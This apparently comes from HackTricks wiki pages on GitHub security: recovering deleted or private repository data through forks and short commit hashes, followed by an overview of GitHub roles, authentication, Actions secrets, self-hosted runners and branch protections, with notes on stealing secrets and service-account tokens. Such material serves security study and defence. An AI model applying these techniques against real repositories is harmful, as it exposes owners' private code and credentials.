## Accessing Deleted Repo Data
1. You have a public repo on GitHub.
2. A user forks your repo.
3. You commit data after they fork it (and they never sync their fork with your updates).
4. You delete the entire repo.
> [!CAUTION]
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
## Accessing Private Repo Data
1. You create a private repo that will eventually be made public.
2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
3. You make your “upstream” repository public and keep your fork private.
> [!CAUTION]
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
## How to discover commits from deleted/hidden forks
The same blog post propose 2 options:
### Directly accessing the commit
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
### Brute-forcing short SHA-1 values
It's the same to access both of these:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
And the latest one use a short sha-1 that is bruteforceable.
## References
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
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# Basic Github Information
{{#include ../../banners/hacktricks-training.md}}
## Basic Structure
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
And finally **repositories may have special protection mechanisms**.
## Privileges
### Enterprise Roles
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
### Organization Roles
In an organisation users can have different roles:
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Members Privileges
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
The settings here configured will indicate the following permissions of members of the organisation:
- Be admin, writer, reader or no permission over all the organisation repos.
- If members can create private, internal or public repositories.
- If forking of repositories is possible
- If it's possible to invite outside collaborators
- If public or private sites can be published
- The permissions admins has over the repositories
- If members can create new teams
### Repository Roles
By default repository roles are created:
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
- **Write**: Recommended for contributors who **actively push to your project**
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
### Teams
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
### Users
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
## Github Authentication
Github offers different ways to authenticate to your account and perform actions on your behalf.
### Web Access
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
### **SSH Keys**
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG Keys**
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Personal Access Tokens**
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Applications
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
Some **security recommendations**:
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Github Applications
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
- The GitHub App should **connect to a personal account or an organisation**.
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
Some security recommendations:
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Make sure the GitHub App integrates with **specific repositories**.
- The GitHub App should **connect to a personal account or an organisation**.
- Don't expect the GitHub App to know and do everything a user can.
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
## Git Actions
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
### Configuration
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
### Git Secrets
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
```yaml
steps:
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
```
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
```yaml
steps:
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
> Secrets **can only be accessed from the Github Actions** that have them declared.
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
### Git Environments
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
```
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
### Git Action Runner
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
### Git Action Compromise
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
> [!CAUTION]
> A **malicious Github Action** run could be **abused** by the attacker to:
>
> - **Steal all the secrets** the Action has access to
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
## Branch Protections
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
Different protections can be applied to a branch (like to master):
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
- **Require signed commits**. The commits need to be signed.
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
- **Restrict who can push to matching branches**. Restrict who can send a PR.
> [!NOTE]
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
## References
- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
- [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
- [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
- [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
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